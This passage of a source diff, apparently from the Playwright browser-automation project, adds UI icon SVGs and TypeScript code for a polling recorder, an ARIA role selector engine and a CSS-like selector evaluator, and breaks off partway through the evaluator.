<svg width="16" height="16" viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg" fill="currentColor"><path fill-rule="evenodd" clip-rule="evenodd" d="M14.431 3.323l-8.47 10-.79-.036-3.35-4.77.818-.574 2.978 4.24 8.051-9.506.764.646z"/></svg>

After

Width:  |  Height:  |  Size: 243 B

@@ -0,0 +1 @@
<svg width="16" height="16" viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg" fill="currentColor"><path d="M8 1a6.8 6.8 0 0 1 1.86.253 6.899 6.899 0 0 1 3.083 1.805 6.903 6.903 0 0 1 1.804 3.083C14.916 6.738 15 7.357 15 8s-.084 1.262-.253 1.86a6.9 6.9 0 0 1-.704 1.674 7.157 7.157 0 0 1-2.516 2.509 6.966 6.966 0 0 1-1.668.71A6.984 6.984 0 0 1 8 15a6.984 6.984 0 0 1-1.86-.246 7.098 7.098 0 0 1-1.674-.711 7.3 7.3 0 0 1-1.415-1.094 7.295 7.295 0 0 1-1.094-1.415 7.098 7.098 0 0 1-.71-1.675A6.985 6.985 0 0 1 1 8c0-.643.082-1.262.246-1.86a6.968 6.968 0 0 1 .711-1.667 7.156 7.156 0 0 1 2.509-2.516 6.895 6.895 0 0 1 1.675-.704A6.808 6.808 0 0 1 8 1z"/></svg>

After

Width:  |  Height:  |  Size: 662 B

@@ -0,0 +1 @@
<svg width="16" height="16" viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg" fill="currentColor"><path fill-rule="evenodd" clip-rule="evenodd" d="M8 8.707l3.646 3.647.708-.707L8.707 8l3.647-3.646-.707-.708L8 7.293 4.354 3.646l-.707.708L7.293 8l-3.646 3.646.707.708L8 8.707z"/></svg>

After

Width:  |  Height:  |  Size: 288 B

@@ -0,0 +1 @@
<svg width="16" height="16" viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg" fill="currentColor"><path d="M7.99993 6.00316C9.47266 6.00316 10.6666 7.19708 10.6666 8.66981C10.6666 10.1426 9.47266 11.3365 7.99993 11.3365C6.52715 11.3365 5.33324 10.1426 5.33324 8.66981C5.33324 7.19708 6.52715 6.00316 7.99993 6.00316ZM7.99993 7.00315C7.07946 7.00315 6.33324 7.74935 6.33324 8.66981C6.33324 9.59028 7.07946 10.3365 7.99993 10.3365C8.9204 10.3365 9.6666 9.59028 9.6666 8.66981C9.6666 7.74935 8.9204 7.00315 7.99993 7.00315ZM7.99993 3.66675C11.0756 3.66675 13.7307 5.76675 14.4673 8.70968C14.5344 8.97755 14.3716 9.24908 14.1037 9.31615C13.8358 9.38315 13.5643 9.22041 13.4973 8.95248C12.8713 6.45205 10.6141 4.66675 7.99993 4.66675C5.38454 4.66675 3.12664 6.45359 2.50182 8.95555C2.43491 9.22341 2.16348 9.38635 1.89557 9.31948C1.62766 9.25255 1.46471 8.98115 1.53162 8.71321C2.26701 5.76856 4.9229 3.66675 7.99993 3.66675Z"/></svg>

After

Width:  |  Height:  |  Size: 934 B

@@ -0,0 +1 @@
<svg width="16" height="16" viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg" fill="currentColor"><path fill-rule="evenodd" clip-rule="evenodd" d="M10.57 1.14l3.28 3.3.15.36v9.7l-.5.5h-11l-.5-.5v-13l.5-.5h7.72l.35.14zM10 5h3l-3-3v3zM3 2v12h10V6H9.5L9 5.5V2H3zm2.062 7.533l1.817-1.828L6.17 7 4 9.179v.707l2.171 2.174.707-.707-1.816-1.82zM8.8 7.714l.7-.709 2.189 2.175v.709L9.5 12.062l-.705-.709 1.831-1.82L8.8 7.714z"/></svg>

After

Width:  |  Height:  |  Size: 429 B

@@ -0,0 +1 @@
<svg width="16" height="16" viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg" fill="currentColor"><path d="M5 3h2v2H5zm0 4h2v2H5zm0 4h2v2H5zm4-8h2v2H9zm0 4h2v2H9zm0 4h2v2H9z"/></svg>

After

Width:  |  Height:  |  Size: 187 B

@@ -0,0 +1 @@
<svg width="16" height="16" viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg" fill="currentColor"><path fill-rule="evenodd" clip-rule="evenodd" d="M1 3l1-1h12l1 1v6h-1V3H2v8h5v1H2l-1-1V3zm14.707 9.707L9 6v9.414l2.707-2.707h4zM10 13V8.414l3.293 3.293h-2L10 13z"/></svg>

After

Width:  |  Height:  |  Size: 273 B

@@ -0,0 +1 @@
<svg width="16" height="16" viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg" fill="currentColor"><path d="M6.27 10.87h.71l4.56-4.56-.71-.71-4.2 4.21-1.92-1.92L4 8.6l2.27 2.27z"/><path fill-rule="evenodd" clip-rule="evenodd" d="M8.6 1c1.6.1 3.1.9 4.2 2 1.3 1.4 2 3.1 2 5.1 0 1.6-.6 3.1-1.6 4.4-1 1.2-2.4 2.1-4 2.4-1.6.3-3.2.1-4.6-.7-1.4-.8-2.5-2-3.1-3.5C.9 9.2.8 7.5 1.3 6c.5-1.6 1.4-2.9 2.8-3.8C5.4 1.3 7 .9 8.6 1zm.5 12.9c1.3-.3 2.5-1 3.4-2.1.8-1.1 1.3-2.4 1.2-3.8 0-1.6-.6-3.2-1.7-4.3-1-1-2.2-1.6-3.6-1.7-1.3-.1-2.7.2-3.8 1-1.1.8-1.9 1.9-2.3 3.3-.4 1.3-.4 2.7.2 4 .6 1.3 1.5 2.3 2.7 3 1.2.7 2.6.9 3.9.6z"/></svg>

After

Width:  |  Height:  |  Size: 620 B

@@ -0,0 +1 @@
<svg width="16" height="16" viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg" fill="currentColor"><path d="M6 6h4v4H6z"/><path fill-rule="evenodd" clip-rule="evenodd" d="M8.6 1c1.6.1 3.1.9 4.2 2 1.3 1.4 2 3.1 2 5.1 0 1.6-.6 3.1-1.6 4.4-1 1.2-2.4 2.1-4 2.4-1.6.3-3.2.1-4.6-.7-1.4-.8-2.5-2-3.1-3.5C.9 9.2.8 7.5 1.3 6c.5-1.6 1.4-2.9 2.8-3.8C5.4 1.3 7 .9 8.6 1zm.5 12.9c1.3-.3 2.5-1 3.4-2.1.8-1.1 1.3-2.4 1.2-3.8 0-1.6-.6-3.2-1.7-4.3-1-1-2.2-1.6-3.6-1.7-1.3-.1-2.7.2-3.8 1-1.1.8-1.9 1.9-2.3 3.3-.4 1.3-.4 2.7.2 4 .6 1.3 1.5 2.3 2.7 3 1.2.7 2.6.9 3.9.6z"/></svg>

After

Width:  |  Height:  |  Size: 562 B

@@ -0,0 +1 @@
<svg width="16" height="16" viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg" fill="currentColor"><path fill-rule="evenodd" clip-rule="evenodd" d="M4 6h8v1H4V6zm8 3H4v1h8V9z"/><path fill-rule="evenodd" clip-rule="evenodd" d="M1 4l1-1h12l1 1v8l-1 1H2l-1-1V4zm1 0v8h12V4H2z"/></svg>

After

Width:  |  Height:  |  Size: 285 B

@@ -0,0 +1 @@
<svg width="16" height="16" viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg" fill="currentColor"><path fill-rule="evenodd" clip-rule="evenodd" d="M0 11H1V13H15V11H16V14H15H1H0V11Z"/><path d="M6.84048 11H5.95963V10.1406H5.93814C5.555 10.7995 4.99104 11.1289 4.24625 11.1289C3.69839 11.1289 3.26871 10.9839 2.95718 10.6938C2.64924 10.4038 2.49527 10.0189 2.49527 9.53906C2.49527 8.51139 3.10041 7.91341 4.3107 7.74512L5.95963 7.51416C5.95963 6.57959 5.58186 6.1123 4.82632 6.1123C4.16389 6.1123 3.56591 6.33789 3.03238 6.78906V5.88672C3.57307 5.54297 4.19612 5.37109 4.90152 5.37109C6.19416 5.37109 6.84048 6.05501 6.84048 7.42285V11ZM5.95963 8.21777L4.63297 8.40039C4.22476 8.45768 3.91682 8.55973 3.70914 8.70654C3.50145 8.84977 3.39761 9.10579 3.39761 9.47461C3.39761 9.74316 3.4925 9.96338 3.68228 10.1353C3.87564 10.3035 4.13166 10.3877 4.45035 10.3877C4.8872 10.3877 5.24706 10.2355 5.52994 9.93115C5.8164 9.62321 5.95963 9.2347 5.95963 8.76562V8.21777Z"/><path d="M9.3475 10.2051H9.32601V11H8.44515V2.85742H9.32601V6.4668H9.3475C9.78076 5.73633 10.4146 5.37109 11.2489 5.37109C11.9543 5.37109 12.5057 5.61816 12.9032 6.1123C13.3042 6.60286 13.5047 7.26172 13.5047 8.08887C13.5047 9.00911 13.2809 9.74674 12.8333 10.3018C12.3857 10.8532 11.7734 11.1289 10.9964 11.1289C10.2695 11.1289 9.71989 10.821 9.3475 10.2051ZM9.32601 7.98682V8.75488C9.32601 9.20964 9.47282 9.59635 9.76644 9.91504C10.0636 10.2301 10.4396 10.3877 10.8944 10.3877C11.4279 10.3877 11.8451 10.1836 12.1458 9.77539C12.4502 9.36719 12.6024 8.79964 12.6024 8.07275C12.6024 7.46045 12.4609 6.98063 12.1781 6.6333C11.8952 6.28597 11.512 6.1123 11.0286 6.1123C10.5166 6.1123 10.1048 6.29134 9.7933 6.64941C9.48177 7.00391 9.32601 7.44971 9.32601 7.98682Z"/></svg>

After

Width:  |  Height:  |  Size: 1.7 KiB

@@ -0,0 +1,100 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { Recorder } from './recorder';
import type { InjectedScript } from '../injectedScript';
import type { RecorderDelegate } from './recorder';
import type * as actions from '@recorder/actions';
import type { ElementInfo, Mode, OverlayState, UIState } from '@recorder/recorderTypes';
interface Embedder {
__pw_recorderPerformAction(action: actions.PerformOnRecordAction): Promise<void>;
__pw_recorderRecordAction(action: actions.Action): Promise<void>;
__pw_recorderState(): Promise<UIState>;
__pw_recorderElementPicked(element: { selector: string, ariaSnapshot?: string }): Promise<void>;
__pw_recorderSetMode(mode: Mode): Promise<void>;
__pw_recorderSetOverlayState(state: OverlayState): Promise<void>;
__pw_refreshOverlay(): void;
}
export class PollingRecorder implements RecorderDelegate {
private _recorder: Recorder;
private _embedder: Embedder;
private _pollRecorderModeTimer: number | undefined;
private _lastStateJSON: string | undefined;
constructor(injectedScript: InjectedScript, options?: { recorderMode?: 'default' | 'api', hideToolbar?: boolean }) {
this._recorder = new Recorder(injectedScript, options);
this._embedder = injectedScript.window as any;
injectedScript.onGlobalListenersRemoved.add(() => this._recorder.installListeners());
const refreshOverlay = () => {
this._lastStateJSON = undefined;
this._pollRecorderMode().catch(e => console.log(e)); // eslint-disable-line no-console
};
this._embedder.__pw_refreshOverlay = refreshOverlay;
refreshOverlay();
}
private async _pollRecorderMode() {
const pollPeriod = 1000;
if (this._pollRecorderModeTimer)
this._recorder.injectedScript.utils.builtins.clearTimeout(this._pollRecorderModeTimer);
const state = await this._embedder.__pw_recorderState().catch(() => null);
if (!state) {
this._pollRecorderModeTimer = this._recorder.injectedScript.utils.builtins.setTimeout(() => this._pollRecorderMode(), pollPeriod);
return;
}
const stringifiedState = JSON.stringify(state);
if (this._lastStateJSON !== stringifiedState) {
this._lastStateJSON = stringifiedState;
const win = this._recorder.document.defaultView!;
if (win.top !== win) {
// Only show action point in the main frame, since it is relative to the page's viewport.
// Otherwise we'll see multiple action points at different locations.
state.actionPoint = undefined;
}
this._recorder.setUIState(state, this);
}
this._pollRecorderModeTimer = this._recorder.injectedScript.utils.builtins.setTimeout(() => this._pollRecorderMode(), pollPeriod);
}
async performAction(action: actions.PerformOnRecordAction) {
await this._embedder.__pw_recorderPerformAction(action);
}
async recordAction(action: actions.Action): Promise<void> {
await this._embedder.__pw_recorderRecordAction(action);
}
async elementPicked(elementInfo: ElementInfo): Promise<void> {
await this._embedder.__pw_recorderElementPicked(elementInfo);
}
async setMode(mode: Mode): Promise<void> {
await this._embedder.__pw_recorderSetMode(mode);
}
async setOverlayState(state: OverlayState): Promise<void> {
await this._embedder.__pw_recorderSetOverlayState(state);
}
}
export default PollingRecorder;
@@ -0,0 +1,198 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { parseAttributeSelector } from '@isomorphic/selectorParser';
import { normalizeWhiteSpace } from '@isomorphic/stringUtils';
import { beginAriaCaches, endAriaCaches, getAriaChecked, getAriaDisabled, getAriaExpanded, getAriaLevel, getAriaPressed, getAriaRole, getAriaSelected, getElementAccessibleName, isElementHiddenForAria, kAriaCheckedRoles, kAriaExpandedRoles, kAriaLevelRoles, kAriaPressedRoles, kAriaSelectedRoles } from './roleUtils';
import { matchesAttributePart } from './selectorUtils';
import type { AttributeSelectorOperator, AttributeSelectorPart } from '@isomorphic/selectorParser';
import type { SelectorEngine, SelectorRoot } from './selectorEngine';
type RoleEngineOptions = {
role: string;
name?: string | RegExp;
nameOp?: '='|'*='|'|='|'^='|'$='|'~=';
exact?: boolean;
checked?: boolean | 'mixed';
pressed?: boolean | 'mixed';
selected?: boolean;
expanded?: boolean;
level?: number;
disabled?: boolean;
includeHidden?: boolean;
};
const kSupportedAttributes = ['selected', 'checked', 'pressed', 'expanded', 'level', 'disabled', 'name', 'include-hidden'];
kSupportedAttributes.sort();
function validateSupportedRole(attr: string, roles: string[], role: string) {
if (!roles.includes(role))
throw new Error(`"${attr}" attribute is only supported for roles: ${roles.slice().sort().map(role => `"${role}"`).join(', ')}`);
}
function validateSupportedValues(attr: AttributeSelectorPart, values: any[]) {
if (attr.op !== '<truthy>' && !values.includes(attr.value))
throw new Error(`"${attr.name}" must be one of ${values.map(v => JSON.stringify(v)).join(', ')}`);
}
function validateSupportedOp(attr: AttributeSelectorPart, ops: AttributeSelectorOperator[]) {
if (!ops.includes(attr.op))
throw new Error(`"${attr.name}" does not support "${attr.op}" matcher`);
}
function validateAttributes(attrs: AttributeSelectorPart[], role: string): RoleEngineOptions {
const options: RoleEngineOptions = { role };
for (const attr of attrs) {
switch (attr.name) {
case 'checked': {
validateSupportedRole(attr.name, kAriaCheckedRoles, role);
validateSupportedValues(attr, [true, false, 'mixed']);
validateSupportedOp(attr, ['<truthy>', '=']);
options.checked = attr.op === '<truthy>' ? true : attr.value;
break;
}
case 'pressed': {
validateSupportedRole(attr.name, kAriaPressedRoles, role);
validateSupportedValues(attr, [true, false, 'mixed']);
validateSupportedOp(attr, ['<truthy>', '=']);
options.pressed = attr.op === '<truthy>' ? true : attr.value;
break;
}
case 'selected': {
validateSupportedRole(attr.name, kAriaSelectedRoles, role);
validateSupportedValues(attr, [true, false]);
validateSupportedOp(attr, ['<truthy>', '=']);
options.selected = attr.op === '<truthy>' ? true : attr.value;
break;
}
case 'expanded': {
validateSupportedRole(attr.name, kAriaExpandedRoles, role);
validateSupportedValues(attr, [true, false]);
validateSupportedOp(attr, ['<truthy>', '=']);
options.expanded = attr.op === '<truthy>' ? true : attr.value;
break;
}
case 'level': {
validateSupportedRole(attr.name, kAriaLevelRoles, role);
// Level is a number, convert it from string.
if (typeof attr.value === 'string')
attr.value = +attr.value;
if (attr.op !== '=' || typeof attr.value !== 'number' || Number.isNaN(attr.value))
throw new Error(`"level" attribute must be compared to a number`);
options.level = attr.value;
break;
}
case 'disabled': {
validateSupportedValues(attr, [true, false]);
validateSupportedOp(attr, ['<truthy>', '=']);
options.disabled = attr.op === '<truthy>' ? true : attr.value;
break;
}
case 'name': {
if (attr.op === '<truthy>')
throw new Error(`"name" attribute must have a value`);
if (typeof attr.value !== 'string' && !(attr.value instanceof RegExp))
throw new Error(`"name" attribute must be a string or a regular expression`);
options.name = attr.value;
options.nameOp = attr.op;
options.exact = attr.caseSensitive;
break;
}
case 'include-hidden': {
validateSupportedValues(attr, [true, false]);
validateSupportedOp(attr, ['<truthy>', '=']);
options.includeHidden = attr.op === '<truthy>' ? true : attr.value;
break;
}
default: {
throw new Error(`Unknown attribute "${attr.name}", must be one of ${kSupportedAttributes.map(a => `"${a}"`).join(', ')}.`);
}
}
}
return options;
}
function queryRole(scope: SelectorRoot, options: RoleEngineOptions, internal: boolean): Element[] {
const result: Element[] = [];
const match = (element: Element) => {
if (getAriaRole(element) !== options.role)
return;
if (options.selected !== undefined && getAriaSelected(element) !== options.selected)
return;
if (options.checked !== undefined && getAriaChecked(element) !== options.checked)
return;
if (options.pressed !== undefined && getAriaPressed(element) !== options.pressed)
return;
if (options.expanded !== undefined && getAriaExpanded(element) !== options.expanded)
return;
if (options.level !== undefined && getAriaLevel(element) !== options.level)
return;
if (options.disabled !== undefined && getAriaDisabled(element) !== options.disabled)
return;
if (!options.includeHidden) {
const isHidden = isElementHiddenForAria(element);
if (isHidden)
return;
}
if (options.name !== undefined) {
// Always normalize whitespace in the accessible name.
const accessibleName = normalizeWhiteSpace(getElementAccessibleName(element, !!options.includeHidden));
if (typeof options.name === 'string')
options.name = normalizeWhiteSpace(options.name);
// internal:role assumes that [name="foo"i] also means substring.
if (internal && !options.exact && options.nameOp === '=')
options.nameOp = '*=';
if (!matchesAttributePart(accessibleName, { name: '', jsonPath: [], op: options.nameOp || '=', value: options.name, caseSensitive: !!options.exact }))
return;
}
result.push(element);
};
const query = (root: Element | ShadowRoot | Document) => {
const shadows: ShadowRoot[] = [];
if ((root as Element).shadowRoot)
shadows.push((root as Element).shadowRoot!);
for (const element of root.querySelectorAll('*')) {
match(element);
if (element.shadowRoot)
shadows.push(element.shadowRoot);
}
shadows.forEach(query);
};
query(scope);
return result;
}
export function createRoleEngine(internal: boolean): SelectorEngine {
return {
queryAll: (scope: SelectorRoot, selector: string): Element[] => {
const parsed = parseAttributeSelector(selector, true);
const role = parsed.name.toLowerCase();
if (!role)
throw new Error(`Role must not be empty`);
const options = validateAttributes(parsed.attributes, role);
beginAriaCaches();
try {
return queryRole(scope, options, internal);
} finally {
endAriaCaches();
}
}
};
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,21 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
export type SelectorRoot = Element | ShadowRoot | Document;
export interface SelectorEngine {
queryAll(root: SelectorRoot, selector: string | any): Element[];
}
@@ -0,0 +1,602 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { customCSSNames } from '@isomorphic/selectorParser';
import { normalizeWhiteSpace } from '@isomorphic/stringUtils';
import { isElementVisible, parentElementOrShadowHost } from './domUtils';
import { layoutSelectorScore } from './layoutSelectorUtils';
import { elementMatchesText, elementText, shouldSkipForTextMatching } from './selectorUtils';
import type { CSSComplexSelector, CSSComplexSelectorList, CSSFunctionArgument, CSSSimpleSelector } from '@isomorphic/cssParser';
import type { LayoutSelectorName } from './layoutSelectorUtils';
import type { ElementText } from './selectorUtils';
type QueryContext = {
scope: Element | Document;
pierceShadow: boolean;
// When context expands to accommodate :scope matching, original scope is saved here.
originalScope?: Element | Document;
// Place for more options, e.g. normalizing whitespace.
};
export type Selector = any; // Opaque selector type.
export interface SelectorEvaluator {
query(context: QueryContext, selector: Selector): Element[];
matches(element: Element, selector: Selector, context: QueryContext): boolean;
}
export interface SelectorEngine {
matches?(element: Element, args: (string | number | Selector)[], context: QueryContext, evaluator: SelectorEvaluator): boolean;
query?(context: QueryContext, args: (string | number | Selector)[], evaluator: SelectorEvaluator): Element[];
}
type QueryCache = Map<any, { rest: any[], result: any }[]>;
export class SelectorEvaluatorImpl implements SelectorEvaluator {
private _engines: Map<string, SelectorEngine>;
private _cacheQueryCSS: QueryCache;
private _cacheMatches: QueryCache;
private _cacheQuery: QueryCache;
private _cacheMatchesSimple: QueryCache;
private _cacheMatchesParents: QueryCache;
private _cacheCallMatches: QueryCache;
private _cacheCallQuery: QueryCache;
private _cacheQuerySimple: QueryCache;
_cacheText: Map<Element | ShadowRoot, ElementText>;
private _scoreMap: Map<Element, number> | undefined;
private _retainCacheCounter = 0;
constructor() {
this._cacheText = new Map();
this._cacheQueryCSS = new Map();
this._cacheMatches = new Map();
this._cacheQuery = new Map();
this._cacheMatchesSimple = new Map();
this._cacheMatchesParents = new Map();
this._cacheCallMatches = new Map();
this._cacheCallQuery = new Map();
this._cacheQuerySimple = new Map();
this._engines = new Map();
this._engines.set('not', notEngine);
this._engines.set('is', isEngine);
this._engines.set('where', isEngine);
this._engines.set('has', hasEngine);
this._engines.set('scope', scopeEngine);
this._engines.set('light', lightEngine);
this._engines.set('visible', visibleEngine);
this._engines.set('text', textEngine);
this._engines.set('text-is', textIsEngine);
this._engines.set('text-matches', textMatchesEngine);
this._engines.set('has-text', hasTextEngine);
this._engines.set('right-of', createLayoutEngine('right-of'));
this._engines.set('left-of', createLayoutEngine('left-of'));
this._engines.set('above', createLayoutEngine('above'));
this._engines.set('below', createLayoutEngine('below'));
this._engines.set('near', createLayoutEngine('near'));
this._engines.set('nth-match', nthMatchEngine);
const allNames = [...this._engines.keys()];
allNames.sort();
const parserNames = [...customCSSNames];
parserNames.sort();
if (allNames.join('|') !== parserNames.join('|'))
throw new Error(`Please keep customCSSNames in sync with evaluator engines: ${allNames.join('|')} vs ${parserNames.join('|')}`);
}
begin() {
++this._retainCacheCounter;
}
end() {
--this._retainCacheCounter;
if (!this._retainCacheCounter) {
this._cacheQueryCSS.clear();
this._cacheMatches.clear();
this._cacheQuery.clear();
this._cacheMatchesSimple.clear();
this._cacheMatchesParents.clear();
this._cacheCallMatches.clear();
this._cacheCallQuery.clear();
this._cacheQuerySimple.clear();
this._cacheText.clear();
}
}
private _cached<T>(cache: QueryCache, main: any, rest: any[], cb: () => T): T {
if (!cache.has(main))
cache.set(main, []);
const entries = cache.get(main)!;
const entry = entries.find(e => rest.every((value, index) => e.rest[index] === value));
if (entry)
return entry.result as T;
const result = cb();
entries.push({ rest, result });
return result;
}
private _checkSelector(s: Selector): CSSComplexSelector | CSSComplexSelectorList {
const wellFormed = typeof s === 'object' && s &&
(Array.isArray(s) || ('simples' in s) && (s.simples.length));
if (!wellFormed)
throw new Error(`Malformed selector "${s}"`);
return s as CSSComplexSelector | CSSComplexSelectorList;
}
matches(element: Element, s: Selector, context: QueryContext): boolean {
const selector = this._checkSelector(s);
this.begin();
try {
return this._cached<boolean>(this._cacheMatches, element, [selector, context.scope, context.pierceShadow, context.originalScope], () => {
if (Array.isArray(selector))
return this._matchesEngine(isEngine, element, selector, context);
if (this._hasScopeClause(selector))
context = this._expandContextForScopeMatching(context);
if (!this._matchesSimple(element, selector.simples[selector.simples.length - 1].selector, context))
return false;
return this._matchesParents(element, selector, selector.simples.length - 2, context);
});
} finally {
this.end();
}
}
query(context: QueryContext, s: any): Element[] {
const selector = this._checkSelector(s);
this.begin();
try {
return this._cached<Element[]>(this._cacheQuery, selector, [context.scope, context.pierceShadow, context.originalScope], () => {
if (Array.isArray(selector))
return this._queryEngine(isEngine, context, selector);
if (this._hasScopeClause(selector))
context = this._expandContextForScopeMatching(context);
// query() recursively calls itself, so we set up a new map for this particular query() call.
const previousScoreMap = this._scoreMap;
this._scoreMap = new Map();
let elements = this._querySimple(context, selector.simples[selector.simples.length - 1].selector);
elements = elements.filter(element => this._matchesParents(element, selector, selector.simples.length - 2, context));
if (this._scoreMap.size) {
elements.sort((a, b) => {
const aScore = this._scoreMap!.get(a);
const bScore = this._scoreMap!.get(b);
if (aScore === bScore)
return 0;
if (aScore === undefined)
return 1;
if (bScore === undefined)
return -1;
return aScore - bScore;
});
}
this._scoreMap = previousScoreMap;
return elements;
});
} finally {
this.end();
}
}
_markScore(element: Element, score: number) {
// HACK ALERT: temporary marks an element with a score, to be used
// for sorting at the end of the query().
if (this._scoreMap)
this._scoreMap.set(element, score);
}
private _hasScopeClause(selector: CSSComplexSelector): boolean {
return selector.simples.some(simple => simple.selector.functions.some(f => f.name === 'scope'));
}
private _expandContextForScopeMatching(context: QueryContext): QueryContext {
if (context.scope.nodeType !== 1 /* Node.ELEMENT_NODE */)
return context;
const scope = parentElementOrShadowHost(context.scope as Element);
if (!scope)
return context;
return { ...context, scope, originalScope: context.originalScope || context.scope };
}
private _matchesSimple(element: Element, simple: CSSSimpleSelector, context: QueryContext): boolean {
return this._cached<boolean>(this._cacheMatchesSimple, element, [simple, context.scope, context.pierceShadow, context.originalScope], () => {
if (element === context.scope)
return false;
if (simple.css && !this._matchesCSS(element, simple.css))
return false;
for (const func of simple.functions) {
if (!this._matchesEngine(this._getEngine(func.name), element, func.args, context))
return false;
}
return true;
});
}
private _querySimple(context: QueryContext, simple: CSSSimpleSelector): Element[] {
if (!simple.functions.length)
return this._queryCSS(context, simple.css || '*');
return this._cached<Element[]>(this._cacheQuerySimple, simple, [context.scope, context.pierceShadow, context.originalScope], () => {
let css = simple.css;
const funcs = simple.functions;
if (css === '*' && funcs.length)
css = undefined;
let elements: Element[];
let firstIndex = -1;
if (css !== undefined) {
elements = this._queryCSS(context, css);
} else {
firstIndex = funcs.findIndex(func => this._getEngine(func.name).query !== undefined);
if (firstIndex === -1)
firstIndex = 0;
elements = this._queryEngine(this._getEngine(funcs[firstIndex].name), context, funcs[firstIndex].args);
}
for (let i = 0; i < funcs.length; i++) {
if (i === firstIndex)
continue;
const engine = this._getEngine(funcs[i].name);
if (engine.matches !== undefined)
elements = elements.filter(e => this._matchesEngine(engine, e, funcs[i].args, context));
}
for (let i = 0; i < funcs.length; i++) {
if (i === firstIndex)
continue;
const engine = this._getEngine(funcs[i].name);
if (engine.matches === undefined)
elements = elements.filter(e => this._matchesEngine(engine, e, funcs[i].args, context));
}
return elements;
});
}
private _matchesParents(element: Element, complex: CSSComplexSelector, index: number, context: QueryContext): boolean {
if (index < 0)
return true;
return this._cached<boolean>(this._cacheMatchesParents, element, [complex, index, context.scope, context.pierceShadow, context.originalScope], () => {
const { selector: simple, combinator } = complex.simples[index];
if (combinator === '>') {
const parent = parentElementOrShadowHostInContext(element, context);
if (!parent || !this._matchesSimple(parent, simple, context))
return false;
return this._matchesParents(parent, complex, index - 1, context);
}
if (combinator === '+') {
const previousSibling = previousSiblingInContext(element, context);
if (!previousSibling || !this._matchesSimple(previousSibling, simple, context))
return false;
return this._matchesParents(previousSibling, complex, index - 1, context);
}
if (combinator === '') {
let parent = parentElementOrShadowHostInContext(element, context);
while (parent) {
if (this._matchesSimple(parent, simple, context)) {
if (this._matchesParents(parent, complex, index - 1, context))
return true;
if (complex.simples[index - 1].combinator === '')
break;
}
parent = parentElementOrShadowHostInContext(parent, context);
}
return false;
}
if (combinator === '~') {
let previousSibling = previousSiblingInContext(element, context);
while (previousSibling) {
if (this._matchesSimple(previousSibling, simple, context)) {
if (this._matchesParents(previousSibling, complex, index - 1, context))
return true;
if (complex.simples[index - 1].combinator === '~')
break;
}
previousSibling = previousSiblingInContext(previousSibling, context);
}
return false;
}
if (combinator === '>=') {
let parent: Element | undefined = element;
while (parent) {
if (this._matchesSimple(parent, simple, context)) {
if (this._matchesParents(parent, complex, index - 1, context))
return true;
if (complex.simples[index - 1].combinator === '')
break;
}
parent = parentElementOrShadowHostInContext(parent, context);
}
return false;
}
throw new Error(`Unsupported combinator "${combinator}"`);
});
}
private _matchesEngine(engine: SelectorEngine, element: Element, args: CSSFunctionArgument[], context: QueryContext): boolean {
if (engine.matches)
return this._callMatches(engine, element, args, context);
if (engine.query)
return this._callQuery(engine, args, context).includes(element);
throw new Error(`Selector engine should implement "matches" or "query"`);
}
private _queryEngine(engine: SelectorEngine, context: QueryContext, args: CSSFunctionArgument[]): Element[] {
if (engine.query)
return this._callQuery(engine, args, context);
if (engine.matches)
return this._queryCSS(context, '*').filter(element => this._callMatches(engine, element, args, context));
throw new Error(`Selector engine should implement "matches" or "query"`);
}
private _callMatches(engine: SelectorEngine, element: Element, args: CSSFunctionArgument[], context: QueryContext): boolean {
return this._cached<boolean>(this._cacheCallMatches, element, [engine, context.scope, context.pierceShadow, context.originalScope, ...args], () => {
return engine.matches!(element, args, context, this);
});
}
private _callQuery(engine: SelectorEngine, args: CSSFunctionArgument[], context: QueryContext): Element[] {
return this._cached<Element[]>(this._cacheCallQuery, engine, [context.scope, context.pierceShadow, context.originalScope, ...args], () => {
return engine.query!(context, args, this);
});
}
private _matchesCSS(element: Element, css: string): boolean {
return element.matches(css);
}
_queryCSS(context: QueryContext, css: string): Element[] {
return this._cached<Element[]>(this._cacheQueryCSS, css, [context.scope, context.pierceShadow, context.originalScope], () => {
let result: Element[] = [];
function query(root: Element | ShadowRoot | Document) {
result = result.concat([...root.querySelectorAll(css)]);
if (!context.pierceShadow)
return;
if ((root as Element).shadowRoot)
